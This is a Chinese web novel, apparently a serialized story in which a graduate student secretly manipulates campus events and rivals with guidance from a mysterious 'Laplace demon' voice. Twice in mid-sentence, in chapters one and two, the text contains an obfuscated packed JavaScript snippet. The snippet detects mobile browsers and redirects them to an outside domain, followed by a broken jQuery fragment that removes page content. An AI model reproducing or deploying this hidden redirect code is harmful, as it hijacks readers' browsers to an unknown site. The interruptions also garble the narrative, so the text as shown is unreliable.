《心澜破界，寰宇更迭》 1. 光与影的边界 夜晚的大学校园，在十点的晚钟敲过后，变得格外安静。城市的霓虹正一点点退去，只剩下零零碎碎地洒落在寂静的林荫道上。乔伊抱着文件袋，走过路灯不甚明朗的广场，脑海里依旧翻腾着一场无声的“情绪风暴”。 她刚从某个导师的说明会上离开。场面热闹却有序，台上那些原本只在报道里见过的大拿教授并未施舍她过多目光，反倒是一群先期攒够了“社交关系”的学生在中心谈笑风生。乔伊对那场景并不陌生，可每看一次，心底总难免生出几分怅然：努力与机遇，是否真能成正比？ 她加快步伐，回想起今晚短短几句寒暄——她主动递交简历，可对方只是漫不经心地扫了几眼，随后似乎想起谁，转身就去和另一个同学热络攀谈。那一刻，她站在旁边，手里的文件袋空落落的，像是被无声否定。 终于，她回到宿舍楼下。楼道里还有同学边嘻嘻哈哈边端泡面，橘色灯光映照脸上的倦意。乔伊和他们点头擦肩后赶紧走进自己的房间。林忻在床边卸妆，齐悦则专心对着电脑写论文。两人看着她进门，招呼一声就各自忙碌起来。乔伊也没多说话，闷头坐到自己桌前，把文件袋拍到抽屉里，胸中那股悻悻不平之感还在耳边嗡响。 就在此时，她瞥见抽屉角落里有什么泛着光。她怔了一下，想起那几页被遗忘的纸。它们是她无意间在旧书摊淘来的“怪异笔记”，却在近几个月常常若有似无地魅惑着她。上面杂糅了各类数学与物理推演，还有乱七八糟的符号，仿佛记录着无从考证的“神秘实验”。多次翻看都毫无头绪，可每当夜深人静时，它似乎在发出某种召唤。 那是错觉吗？她此刻也疲惫了，正想把它塞回抽屉。岂料在指尖触碰到纸张一瞬，一股极轻微的电流似的颤动爬上手心。她吓得猛地缩手，随即听到一个极低沉又轻柔的男声，从意识深处传出：“你又回来了……要不要试试改写你所不满的命运？” 乔伊神色顿变，似乎怕惊动室友，压低声音反问：“是……谁在说话？” 那声音像是轻笑：“把我当作‘拉普拉斯妖’吧。你可以理解为代表一切变量的至高存在，也可以视作你心底深藏的另一种意志。” 这不是她第一次听见这样的呢喃。只是此前每次都来得模糊，仿佛梦魇。可今晚，却格外清晰与笃定。 她一次又一次地望向纸页，见其正微微闪着淡蓝的磷光。她颤颤巍巍地伸手翻阅，却发现那些公式此刻有如活过来一般，彼此串联成繁复的网络，隐隐勾勒出无数事件的起伏脉络。仿佛眼前出现一座巨大的生命树，每条分叉都连接到某个人的选择、命运的波动。 “你不甘心，只因为你知道自己足够出色，却被规则挡住了。满足现状的话，这些能力对你毫无意义。可若你选择打破世界固有的惯性，那么就伸出手。”那声音在黑暗里一字一顿，带着令她无法抗拒的诱惑。 乔伊脑海里瞬间闪回今晚被忽视的场景，以及往日努力却难以拔尖的种种憋屈。她盯着纸上的符号，心口砰砰狂跳。自尊也好，野心也罢，现在她只想摘下那束聚光灯的一角，好让世界看到她。 她深吸口气。林忻似乎还在刷手机，齐悦也未睡，但都戴着耳机各自忙碌，没有人注意她。她便握住了那几页纸，将它拽到桌前，仔细看那些看似凌乱的数字图案。毫不意外地，她又听见那低醇嗓音在脑海回响：“随便选一个你想改变的事件，试着往里面填上一点点新的变量。明早醒来，你就能看到结果。” 她迟疑片刻，把电脑打开，试着构思如何让导师印象改观。她想到，若有某些细节足以使“师生关系网”出现小小的波动，也许她就能趁虚而入。在那思路闪现的同时，她猛然发现纸上的部分公式已自动排列成某种指示——告诉她先在某个校内讨论区发一条看似无心的消息，吸引重要人士的关注；再让对面竞争对手明早遇到一点延误，如此一来，导师的目光就有可能在乔伊身上多停留几秒。 这是作弊吗？或是正当竞争？乔伊不知道，她只是心潮澎湃地遵从了那指引，将帖子编辑好，然后匿名发布。做完这一切，她仍能感到纸张里那股悸动。如同某种禁忌之门被推开，她已经无法停下脚步。 凌晨一点多，她双手仍在颤抖，索性爬上床，捂紧被子，让自己镇静下来。瞌睡却迟迟不来，只觉得某种未知的悸动在她血液里翻涌。若真的成功，她或许就能在导师面前大放异彩，脱离那被忽视的宿命。 接下来的几个小时里，她做了一个又一个光怪陆离的梦：梦里有悬浮在空中的符号流转，亦有某人或某物在低声笑，仿佛在肯定她的选择。也不知何时，她沉沉睡去。 第二天一早，宿舍里闹钟响起时，乔伊才猛地醒来，发现自己头昏脑涨，但心里仍暗暗紧张。她几步下床，打开电脑查看那条帖子，果不其然，引起了不小讨论。她再看朋友圈、群里消息，发现某个老早说要见导师的同学忽然临时出了点事，无法按原计划赶来。那位导师行程较紧，这一点变数或许就足够拉近她与导师的距离。 心跳再度加速，她匆匆洗漱打扮，一把抓起资料奔向教学楼。等她推开那门时，只见导师果然在办公桌后处理文件，而原本最有竞争力的学长此刻却还没现身。乔伊拿出提前准备的研究思路，得到老师几句肯定。虽然不算轰轰烈烈的“捷报”，但她能感觉到，女导师对她的态度明显比昨天热情了些。她的想象变得真实了。 走出办公室那一刻，乔伊才感到腿脚发软，像经历了一场冒险。她默默在心里问自己：这就是“命运的改写”吗？只不过是一个小小的推波助澜，就已让她多了一个机会。同一时间，她又隐隐担心，万一后果失控怎么办？这念头刚闪过，又被她刻意压下。 “代价总会有，但当你踏出第一步，就再无法回头了。”那似乎是拉普拉斯妖的声音，温柔却带着若有似无的笑意，在她心底回荡。她深吸口气，装作若无其事地离开办公楼，准备一头扎进下一个课程的复习中。 眼看日子过得飞快，乔伊观察到自己设下的那场“小变数”并未引发明显的SIDE效应，她开始渐渐放下负担。导师对她的研究思路越来越感兴趣，大大小小的机会也开始向她倾斜。曾经无数次遭遇挫败的她，一下子仿佛脱胎换骨，看似只是多了几分“运气”，却让她从平庸中冒了尖。 与此同时，乔伊晚上依旧时常会听到那道轻柔的声音——拉普拉斯妖似乎带着恬静的笃定，一点点向她解释所谓“更高维度”的可能：“每个人的命运看似是已定的长河，却到处都有缺口。只要抓住那些微小缺口，你能翻云覆雨。这世间并无绝对的公平，你身处其中，能够暗中平衡自己的利益。” 乔伊偶尔也会反驳：“这不算是公平吧？我等于在背后‘动手脚’。” 声音答道：“世界本身就没有绝对公平。只不过，你把这种‘潜规则’明显化了。你愿意收手吗？” 每每问到这处，乔伊就会静默片刻，然后咬着唇摇头。经历长久的被忽视，她渴望“逆袭”。抑或说，她不知怎样离开这种诱惑了。这也是她深藏心底的野心。 她没告诉任何人，包括室友林忻和齐悦，甚至没有向闺蜜提起。对外，她只是微笑着说运气挺好罢了。可她夜里会翻看那几页纸，像魔物上瘾般想要更多——更多机会、更大资源，甚至更高的社会层面。 一段日子后，她的研究课题初见端倪，再加上有导师保驾护航，她渐渐在学院里小有名气。人们惊讶她的“爆发”，但也只是猜测她是不是忽然找对了路子。乔伊则在暗中不断实验着干预各种小事件：比如让某次答辩提早几分钟，让关键评委错过某位对手的最佳演示时机；又或者让校园论坛出现针对某个同学的技术质疑，从而分散那位同学的注意力。一次又一次，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013874|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总能恰到好处地让自己占得先机。 凌驾于灰色地带的刺激让她时常夜里惊醒，但拉普拉斯妖耐心地辅导她：“想要命运之光，就要敢于和世界对赌。这不过是宏观规则的衍生罢了。” 久而久之，乔伊似乎越来越熟练，也越来越沉醉。她感到自己真的拥有某种“多维度思维”，每看到一桩事件，都习惯性地想：它背后可干涉的点在哪？波及面会是多少？倘若我动一根小小的杠杆，会撬动怎样的蝴蝶效应？ 然而，这天深夜，当她破解完一道复杂模型，准备再次敲击那几页纸上的“改写指令”时，脑海里却出现一缕新的疑惑：做这么多，真的就没有任何反噬吗？会不会将来某天，这些算计也会被人揭穿，甚至伤害自己珍视的人？她忽然想起室友林忻对她的真诚，想起齐悦在她情绪低落时给过的安慰。若这种“暗箱操作”一旦泄露，会不会把身边所有善意全盘摧毁？ 她深吸一口气，有点害怕，也有点犹豫。就在这时，那熟悉的低沉嗓音再次出现：“你已经走出光与影的边界，这份力量本就是利刃。想要变得更强，就必须付出代价。你难道打算退缩？” 乔伊缓缓攥紧拳头，一时说不清答不答应。她想起当初自己被忽略时的落寞，想起导师那一瞬的肯定，想起越来越多随之而来的“小成功”，心脏又一次跳动得轰鸣。 “我不会退缩。”她轻声说。 一阵凝滞后，那声音缓缓低笑。“很好。别忘了，你还并没有真正看到更高层次的世界。你现在不过是触碰了初级的概率锁。还有更浩瀚的规则在等你。” 听到“更高层次”，乔伊心底莫名颤动。她知道这显然意味着更强大的干涉力，可也意味着更多风险。她却尚未真正了解“拉普拉斯妖”的立场与目的，只知道它对自己似乎有种微妙的“偏爱”或注视。那是关怀吗？或是一种试验？她无从得知。 但她清楚，自己已经陷得不浅，她无法否认那“更高层次”对她的吸引。她猛然想起一个更宏大的念头：成为这个学院里最出色的学生，仅仅只是开始罢了。是否还能向更大的舞台迈进？成为一个拥有深厚社会资源与名气的人？想到这里，她的血液又一次燃烧。 窗外的月光透过淡灰色窗帘洒在她床边，宛如敷上一层霜。乔伊盯着那几页怪异笔记，眸中闪过一抹亮光。就这样，她在“光与影的边界”徘徊，却一步一步，越走越远。 宿舍其余的人都已入眠，她却无意睡去。她轻声问：“还有别的规则吗？” 拉普拉斯妖答：“当然。这个世界比你想象的更广阔，也更具诱惑。等你水到渠成，我会告诉你‘爱’与‘自由’的真正含义，也会带你看看，你所谓的‘筹码’究竟能否扛得住命运的轮回。” 乔伊没作声，只将那几页纸贴近胸口，好让自己心跳止不住地加快。她想，也许这就是她等待已久的机遇，纵是危险，她也要握紧。 时间缓缓流淌，墙上的电子钟发出微弱光点，悄然滑向一点五十分。乔伊将笔记小心收好，关上台灯，轻轻躺下。她知道自己无法回头，一切都才刚刚开始。可是，她隐隐感到某条更险峻的道路已铺展在前方，等待她的绝不仅止是学业与前途，还包含某种未知的情感试炼——那仿佛在夜里悄然醺染的雾气，下一秒就可能化作暴风骤雨，将她与拉普拉斯妖的命运紧紧纠缠。 她闭上眼，微笑中带着几分忧虑，迎接注定无眠的夜色。而命运之门，就在她宿舍抽屉里，那几页发光的纸后面，缓缓敞开—— （第一章完） 她并不知道，第二天的校园里，会有某位同学突然察觉到论坛里那条被顶起的“匿名帖子”似乎隐藏着匪夷所思的推手，而那偶然改变的行程，也或许会一石激起千层浪……当越来越多的变量被触动，她究竟能否游刃有余？抑或因此招来更猛烈的挑战？一切即将在下一章揭晓。 2. 夜风里的致命吸引 乔伊漫步在空荡的校园林荫道时，月亮已经高悬在天，由于刚下了小雨，空气中还带着潮湿的清冷。她紧了紧外套，夹着一叠笔记回到宿舍楼下。那里早已熄了大灯，只剩楼道里昏暗朦胧的小夜灯。她轻手轻脚地推开宿舍门，里头果然只有齐悦一人还亮着台灯，飞快地敲击着键盘，似乎赶论文赶到了尾声。林忻则连被子都没盖好，已经在床上沉沉睡去。 乔伊与齐悦打了个手势示意“晚安”，齐悦没出声，只对她做了个“加油”的口型。乔伊轻轻关上门，坐回桌前，一手撑着额角，一手把抽屉里那几页“命运公式”翻了出来。自从她第一次利用这股力量取得导师青睐后，整整一个多星期里，她都在反复试验“干预”各种事件的可能性。她发现大多时候只要“微调”几个关键触点，就能得到自己想要的结果，比如教授的车子抛锚，竞争对手搞错会议时间，或者让某位评委在自己的演示时心情更佳，从而打出生涯里最耀眼的一次分数…… 她曾不止一次想问拉普拉斯妖：“你究竟从何而来？又为何如此帮我？”然而那声音总是半遮半掩地回答：“我只是你内心的投影，或者说，你连结到更高维度后所召唤出的存在。有些事情，你尚且理解不了。”说罢，它又在她耳畔笑，夹带着某种别样的柔和情愫，仿佛她只是被命运之潮推上岸的稚嫩孩子，而它乐于袖手在身后看她成长。 今晚，乔伊刚参加完学院的新项目研讨会，却在现场捕捉到一丝不对劲——因为她似乎注意到，有那么两三个同学在暗暗议论什么，目光不时瞟向她，带着微妙的猜测或不信任。她不确定对方是否嗅到她背后那些“异常运气”的味道，但她清楚，“改写命运”的行为不可能天衣无缝。当各种不可控的细节汇聚起来，也许足以令有心人察觉到“某种操作痕迹”。 正当她心事重重时，拉普拉斯妖的声音在夜色中浮现：“怎么，怕了吗？” 乔伊悄悄扭头，见林忻依旧睡着，齐悦的目光被电脑屏幕吸走，没有留意这边。她只能在脑海里默默同那声音交流：“我当然不想被曝光。这种事情被揭穿了，会乱成一团吧？” 那声音似乎带着幽默的调侃：“若你害怕被看穿，就得把变量干扰做到极致，别留下任何破绽。或者……学会对‘观测者’进行再干预，让他们永远无法追查到你。你要明白：你所操控的并非单纯的事件，而是所有事件背后的概率链条。能掌握它，就能控制他人是否具备‘看破真相’的条件。” 乔伊心头一颤，感觉这想法过于大胆。但她又不得不承认，这也许是她继续走下去的必经之路。她看向那几页公式，本想严肃地思考风险，却隐隐察觉到内心深处的一丝暗喜，因为她又看见了“可能性”：如果能连“追查的人”都算计在内，那还会有谁能够阻挡她？ 她就这样，心怀五味杂陈地坐到深夜，把宿舍的台灯关到最暗，还能看到纸上微微散发的荧光。夜气虽冷，她却热血难平。在这沉默的场景中，她翻开电脑，想要搜索那些“可疑同学”的背景，将他们纳入“干预范围”。然而她迟疑了片刻，终究没有立刻敲下指令。她对自己说：“再看看，不要轻举妄动。”因为一次次被忽视的经历让她知道，凡事都要把握最佳时机。 第二天一早，宿舍闹钟此起彼伏，齐悦急匆匆地背着电脑赶去图书馆，林忻也去做实验报告，而乔伊则收拾好资料要去导师那边做一场阶段汇报。她想先把最要紧的学术进展交代清楚，再来考虑“对策”。 学院办公室里，导师照例坐在桌后翻阅文件，见她进门就招手让她坐下：“我看了你提交的研究思路，描述得挺有逻辑，尤其是第四部分，思考到概率论在社会行为学中的交互效用。你这方面下过苦功吗？我很感兴趣。” 乔伊闻言心下一动——是啊，这些天她最熟悉的恰恰就是“概率干扰”。她努力让自己看起来平静，从容回答：“算是……做过些资料的调研，我对统计和概率模型很感兴趣。”一说完这话，她又害怕导师追问自己从何得来那股神秘灵感。幸运的是，导师没过多纠结，反而神情颇为欣赏，对她说：“那看来，我们项目里有些细分模块可以交给你去试试了。你抓紧对一些初步数据做建模，尽快给我看下阶段报告。” 乔伊连连点头，内心长舒一口气。临到要离开时，导师又漫不经心地补了一句：“你运气真不错，前几届学生想拿到这些模块，没少花力气。我希望你珍惜机会，别三心二意。”语气虽轻，却让乔伊暗暗冷汗涔涔——她当然知道自己的“运气”或许是怎么来的，但在导师心里，这大概只是个潜力学生偶尔得到青睐的正常现象吧。 出了办公室，乔伊心里一半欣喜一半忐忑。她手中资源越来越多，意味着她对“改写事件”的需求也会越来越急切。可奇怪的是，与其说她想掩藏，不如说她开始隐隐地享受这种“走钢丝”的快感：她喜欢那种自己暗中扭转事态，却对人群保持云淡风轻的感觉，而那背后还有一个低沉温柔的声音为她出谋划策。若不是她还抱有一丝自我警惕，或许她会一口气走到更无法回头的深处。 这天黄昏，她如常到食堂排队打饭时，无意中听到两个同学在讨论：“听说那谁突然情绪不太好，好像察觉自己原定的教授机会被别人抢走了，可又没证据，觉得有股神秘力量在阻挡他，搞得他郁郁寡欢……”另一人则笑笑说：“你别当真，这学校里，有背景的人多了，我看是他自己背后没关系吧。”他们一脸戏谑，毫不在意那些传言到底是真是假。乔伊却忍不住心里一跳。她知道，这些传言指向的“神秘力量”八成就是她的干预。对方没证据，却总归起了疑心。 她迅速打好饭，转身离开食堂，行至路口时，一阵秋末的凉风袭来，吹得她衣角微颤，让她脑中混乱的思绪清醒少许。她仰头望见天色渐暗，忽然想起晚上还要写一篇算法报告，也要再仔细规划如何掩盖干预。心中千头万绪，唯独没有后悔。她越是发现前路危机四伏，越觉得自己必须强悍地站稳脚跟。 夜晚。她躲在宿舍的上铺，把帘子拉紧，用耳机播放白噪音，好将周遭的声音隔离。那几页纸摊开在她抱枕上时，自带微微的亮度。她尝试着把最近在学院里出现的一些苗头写进公式，看看是否能够得到提示，告诫自己要如何避免成为人们的“目标”。果真，随着她在纸上勾勒关键点，脑海中闪过无数分支情景，许多“警示”也同时浮现，比如她看见某位善于调查的学长若加大分析，就能挖到怪异的线索；也看见某个经常活跃在论坛的师姐如果循着蛛丝马迹深挖，很可能将矛头指向她。 “所以，是时候处理这些可能的‘威胁’了？”她用念头询问拉普拉斯妖。 对方轻笑：“你说得冷静，可事实就是如此。若不想被揭穿，就要在他们行动之前，让他们失去这一念头。你可以制造更吸引他们注意的事件，也能把他们的时间消耗在别处，关键在于，你能不能算准那些‘可操纵’的概率因子。” 乔伊想了想，别过脸去：“我不想害人，也不想把他们搞得一败涂地。可若是那种刁钻爱挖掘真相的人，还是绕不开啊。” 拉普拉斯妖的声音里带着一丝莫名的怜惜：“你看，你其实有善意你知道吗？只是你身处的现实环境太过残酷，为了生存，你不得不出此下策。” 乔伊怔住了，这话听着好像在安慰她，也像在给她合理化一切的借口。她心里五味杂陈，只能说：“那就用最小的手段，让他们转移注意力吧。” 说罢她垂下眼睑，开始在电脑上敲击一串计划：先收集对方近期的动向，若有即将举办的社团活动或某个急需他们出面的论坛话题，就能把他们引过去，以保障自己这边暂时安全。整个过程就像布局一场“概率迷宫”，只要操作得足够细微，就不会引起外界怀疑。做完这些，她已是满头薄汗，心里却也闪过一丝奇怪的满足：果然，她拥有这等“神之视角”，只要够谨慎，就能主导一切。 翌日，乔伊配合拉普拉斯妖的运算，在恰当时机于论坛发起几个极具争议性的话题，还针对一名师姐所在的志愿者社群散布一些“急需帮助”的噱头。果不其然，那几位可能对她产生怀疑或好奇的同学都迅速被牵着鼻子走，要么沉迷辩论，要么忙于组织活动，再没有余力去深挖校内风言风语背后的真相。而她，则在学院里继续保持“顺风顺水”的形象，仿佛真的被幸运光环笼罩。 但令她意外的是，就在这天晚上，她忽然收到一条私信——来自一个ID陌生的学弟，内容简短：“学姐，我想和你聊聊你申请导师项目的事情，能否留个时间见面？我有一些你可能感兴趣的信息。”乔伊盯着这个消息，一种不祥的预感在胃里翻腾驱散了刚刚的轻快心情。她想，对方为什么找我？所谓“感兴趣的信息”又是什么？ 她下意识地又去查看学院论坛与群消息，却没发现什么特别动静。那学弟的ID似乎没怎么发过言，陌生得让她起疑。她耐心翻阅他的历史帖子，发现他偶尔在技术板块回过帖，思路虽然不算犀利，但很勤奋。若他真有料要爆，又怎么会来找她？ 她暗暗提高警惕。一来她害怕对方掌握自己的“黑幕”，二来也隐约想知道：他想说什么？是不是有什么机会能让她更进一步？正当她犹豫不决时，拉普拉斯妖的声音淡淡传来：“何不先去见见？看看对方能给你什么线索。若是威胁，你也可以利用它继续干预。你已见识过几次‘改写’，再多碰一回又如何？” 乔伊咬着下唇，心底那股蠢蠢欲动的冲动再度升腾。她明白自己其实渴望知道更多，也想确认再确认，没有意外会阻碍自己接下来更大的计划。她最终敲下一句回复：“好，明天下午，图书馆二楼阅览室，可以吗？”对方很快回了“可以”，并十分客气地表示感谢。 接下来的时间里，她整个人都显得心神不宁，以至于林忻问她要不要一起去吃晚饭，她都险些没听见。好在林忻也没在意，只以为她在为导师课题而苦恼。结果，那晚乔伊翻来覆去睡不安稳，再次梦见自己在巨大而空旷的星图中穿梭，回荡着拉普拉斯妖断断续续的低语：“这个世界，远比你想象的要庞大，而你能左右的变量，只是冰山一角。你若继续向深层探寻，就必须学会判断何时该‘取’，何时该‘舍’……” 她带着混乱的脑袋醒来，匆忙收拾完毕，去和导师开了个例行进度会，然后按照约定去图书馆二楼找那个发私信的学弟。对方竟然比她还早到，在角落里席地坐着，面前铺着一堆资料，看见乔伊出现，马上露出有些腼腆的微笑，他长相普通，但双眼清澈透亮，让乔伊一时放松了戒备。 “学姐你好，我叫顾子衿。”学弟伸手示意要帮她拉椅子，“我们在专业课上见过一次，但你大概不太记得我。”乔伊在脑海里搜索了一圈，隐约记起他确实曾在一门统计课里出现过，但从未与她直接交流过。 乔伊轻轻坐下，微笑：“有什么事，你可以直说。” 顾子衿推了推眼镜：“我听说你拿到了导师的重点项目，也听一些人说，你最近好像运气非常好。之前我一直在做一项关于‘因果干涉’的研究，但是我缺少实证数据，所以我想问问学姐，你是否愿意一起探讨……或者，我可以把我的研究发现分享给你，也许能帮你更好地做课题。” 他这话听得乔伊心里猛跳：对方提到“因果干涉”？难道他真的察觉到什么？她故作镇静：“你所谓的研究，是统计学方向的吗？怎么听起来像非常高深的课题？” 顾子衿神情认真：“是挺深的，我最初是受一篇国外论文启发，想要验证‘在微观层面干涉局部概率，能否产生宏观事件的明显改变’。可我苦于收集不到足够多的‘异常案例’，如果你有类似资料或灵感，愿不愿意跟我合作？” 乔伊差点握不住手中的书：他这分明就是在描述她所做的事！但话里话外又不像是在质疑她，而是诚恳地想一起研究。她不敢贸然回应，先敷衍道：“还没想过，你这想法挺有意思。要不你发个资料给我看看，我再考虑能否帮上忙。” 顾子衿点头：“好的。其实，我敢来找你，也是听说你对概率论很有见解，而且最近表现相当抢眼。我想也许你是少数能懂我想法的人。” 乔伊干干笑了几声，心里却在打鼓：若顾子衿真的把这条路研究得透，难保他不会某天发现“她就是那极端案例本身”。但她又隐隐对这个项目好奇，若她能更系统地掌握“因果干涉”的理论，说不定能更精确地进行干预。她瞥了一眼顾子衿，见对方神色坦荡，也看不出丝毫阴谋，她索性留了邮箱，嘴上说：“先发给我看看，我毕竟还有导师的课题，可能没太多精力。” “明白，感谢学姐肯给机会。”顾子衿仿佛松了口气，收拾那堆资料放进包里，又道别离开，走前还礼貌地对乔伊微微鞠了一躬。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15013875|162071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着他的背影，乔伊一时有些恍惚。她本以为会遇到一个质问或威胁自己的人，却没想到对方简直像抱着“匪夷所思的研究理想”在求合作。拉普拉斯妖随即在她脑海里嗤笑：“看着像个愣头青啊，说不定他连你是那‘异常样本’都不清楚。” 乔伊暗自警戒：“是啊，可也不能大意。等我先看看他那研究到底到什么程度，如果真的很危险，我可能要想办法打消他的念头。” 她抱着文件站在图书馆二楼走廊，看着外面阳光透过玻璃洒进来，心里却七上八下。她知道自己已经走上了制霸学院的特殊旅途，而现在的变数似乎越来越多。顾子衿的出现，会是助力，亦或麻烦？她一时分辨不清。只是那抹“探索未知”的兴奋感又在胸口萌芽，就像她第一次拥有干预事件的能力时一样，让她又怕又沉迷。 回到宿舍时，林忻正在和齐悦有一搭没一搭地聊天，看见乔伊，林忻打趣：“嘿，我们大忙人回来啦，怎么脸色怪怪的？”乔伊干脆谎称自己参加导师会议很累，敷衍几句就准备钻回电脑前。齐悦这时忽然放下书，若有所思地看着乔伊：“你最近好像越来越神秘了哎，常常一个人在宿舍鼓捣什么？准备搞大事情啊？”乔伊心口一紧，转头笑道：“别瞎说，我这不是赶课题嘛，好多实验数据要分析。”齐悦也没多问，只点点头表示理解。 乔伊把门窗一关，迫不及待打开邮箱，果然看见顾子衿在半小时前发来的邮件，标题写着《微观干预与宏观因果的交互假说》。她心头一跳，赶忙点开阅读。文档里是较为系统的研究思路，提出假设：当一个人能在微观层面对若干事件进行过触碰或干预，其累积效应有可能在较短时间内反映到宏观现实。然而执行者必须“隐形”于现实网络，避免被干预主体所察觉，否则任何反向干扰都可能削弱或破坏最终效果…… 她看到这些文字时，整个人都像被电击般颤了下。顾子衿的理论简直与她这段时间的亲身实践不谋而合。只不过，他依然停留在理论猜想的层面，还列举了某些国际上未被正式证实的病例或传闻，并没有实质证据。但乔伊敢肯定，一旦他能拿到真实的干预样本，或者将她视为研究对象，势必会挖出更大的水花，把她的秘密彻底曝光在阳光下。 “那可不行。”乔伊咬住下唇，额头冒出细汗。她扫过文档最后一行，看到顾子衿提到：他打算拜访更多同学，试图找到“异常运气”或“奇怪巧合”集中的案例做访谈研究。她指尖一紧，几乎能听到自己剧烈的心跳声。顾子衿显然对“异常事件”抱着十足兴趣，他若继续深入调查，很难说哪天不会对准她发起“猛攻”。 然而，另一个声音又在诱惑她：或许你可以利用他的研究成果，让你的干涉方式更精确、更安全？乔伊发现自己不知何时已经浏览到文档附录，一些整理好的算法、方程组比她手里的那几页“命运公式”还要系统。倘若她能把二者结合，岂不是可以更从容地设计干预？ 但愿望是一回事，现实是另一回事。她脑子里闪过自问：若她真的与顾子衿合作，岂不是把自己置于险境？她甚至设想过，万一顾子衿只是伪装成无害者，等待她露出破绽，再揭开她见不得人的秘密。简而言之，这个学弟简直就是一把双刃剑，她要么阻止他的研究，要么利用他的研究，还要想方设法隐藏自己。 一连串思绪翻涌得头痛。她把电脑一合，蜷在椅子上发呆。直到半夜，室友们基本入眠，她才偷偷再次打开电脑，调取了更多顾子衿在网上留下的痕迹，发现他一直是个理想主义的技术宅，对学术有近乎疯狂的热爱，似乎并没有太多攻于心计的表现。她稍稍放心，却也意识到，他这种“执念”若被进一步激发，绝对能把很多不可能变成可能。 深夜的风猛地灌进宿舍窗缝，让她心头一凉。拉普拉斯妖再次在脑海出现，用那熟悉的轻柔嗓音问：“你想要更稳固的地位吗？想要彻底消除一切威胁吗？” 乔伊咬牙点头：“当然想。我已经走到这一步，绝不允许有人扯我后腿。但……真的非要彻底摧毁别人吗？他毕竟没做错什么。” 拉普拉斯妖笑了笑：“摧毁与否，全看你。也许你可以选择合作，然后慢慢改变他对真实案例的看法，甚至引导他朝错误方向研究。你掌握的那几页公式绝不会对外示人，所以，只要你愿意，就能把他当成一把刃，也是一块盾。记住，命运操控并非只有伤害，你还能让自己更安全。” 乔伊怔怔地注视着电脑屏幕上那份研究草稿，一时说不出话。她忽然意识到，自己可能正站在关键的分岔口——如果她选择将顾子衿当成工具，或许她能更轻松地走向“更高维度”；若她选择彻底排除顾子衿，也是一条路，但那也意味着失去一个潜在的强大助力。 她一夜无眠，就这么思考着。终于在天快亮的时候，她似乎做了个决定，带着沉沉的心，伏案睡去。 当晨光刺破窗帘时，她猛地醒转，发现自己背脊发僵，浑身酸痛。她在椅子上揉了揉太阳穴，随即冷静地做了一件事：她打开电脑，给顾子衿回了一封邮件，内容很简单：“我看了你发的资料，很精彩，也挺震撼。或许我们可以深入探讨。择日见面详谈？”发送按钮一按下，她心里反而轻松了许多，仿佛下定了某个新的目标：与其坐等被动，还不如握住这份“变量干预学”的钥匙，寻求自身更大的突破。 邮件发出后，她仰头望向灰蒙蒙的天空。有那么一瞬间，她似乎恍惚地看见一双温柔的眼睛正注视着她，带着某种笃定与包容。她猜是拉普拉斯妖，也可能纯粹是幻觉。但她知道，她已无法回到那个循规蹈矩的乔伊了。 她合上笔记本，轻轻敲了敲那几页纸：“下一步，我要得到更强的力量。可代价……我会慢慢去承担。” 窗外不知何时开始飘落的微雨，打在石板路上发出淅沥声。她没有感到寒冷，反而被一种灼热的雄心驱使着。她想，这或许就在她与命运的赌局中再迈进了一大步——而最惊险的部分，尚未到来。 （第二章完） 那一刻，她并不知道，顾子衿也在房间里看着她的回信，嘴角浮起一抹会心的笑。或迟或早，他将把这个想法带入现实实验，而在那未知的过程里，乔伊将面对比以往更可怕的冲击：当“改写命运”不再只关乎她一个人，而是会波及更多人的命运，此时此刻，她真正的抉择与代价才将逐步浮现…… 3. 雾起之时 乔伊拖着步子回到宿舍时，已经是深夜一点半。走廊的声控灯时亮时灭，给漆黑的环境增添几分诡谲。她推门进去，发现林忻和齐悦都睡了，只有那微弱的床头小夜灯还亮着。她轻手轻脚地走到桌前，却发现手机上躺着好几条未读消息——有顾子衿的，也有一个陌生ID的私信。她心里倏地紧缩，隐隐感到这几条信息或许关系到她所有的“算计”能否继续维系。 她先点开顾子衿的消息。对方留了一段语音，听上去略带疲惫：“学姐，你最近还好吗？我这边刚得到消息，说学院有些大动作，可能牵涉到项目调整。这样一来，我的问卷恐怕得暂停。你也知道，这段时间风波不断，实在是……哎，总之希望下次咱们再见面时，还能继续探讨我们的研究。”接着，他语音里夹杂一丝愤愤不平，“我查到学院某些争端居然是有人故意爆料引起的，这样搞法未免太过分……不过我知道你也不喜欢这种阴暗的手段，希望咱们还能保持初心。” 听到这儿，乔伊的胸口一阵钝痛。顾子衿那毫无保留的信任，好似在嘲笑她所做的一切暗中操纵。可她又没有资格怪别人，只能收好这份苦涩，心想：对不起，我也不想如此。但若没有这些布置，也许就是我先被揭发。 她默默关掉顾子衿的语音，然后打开那陌生ID的私信。对方只有一句话：“教授风波只是开始，你以为真能躲过所有追查？别忘了，你也在这场棋局里。”语气阴冷，仿佛在宣告什么。乔伊呼吸一滞，手指险些没握住手机。这证明有人正暗中试图把她也拖进更深漩涡，她刻意制造的大事件并没有带来绝对安全，反而像投下一块石子后，水面下的暗流至今还在翻腾。 